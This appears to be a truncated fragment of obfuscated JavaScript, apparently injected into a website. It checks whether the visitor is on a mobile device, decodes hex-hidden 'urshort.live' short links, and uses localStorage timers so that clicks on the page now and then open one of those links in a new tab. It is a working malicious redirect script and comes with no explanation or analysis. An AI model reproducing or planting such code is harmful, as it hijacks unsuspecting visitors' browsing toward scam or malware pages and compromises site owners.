)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x79\x48\x72\x30\x63\x300','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x6b\x6f\x4f\x31\x63\x381',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());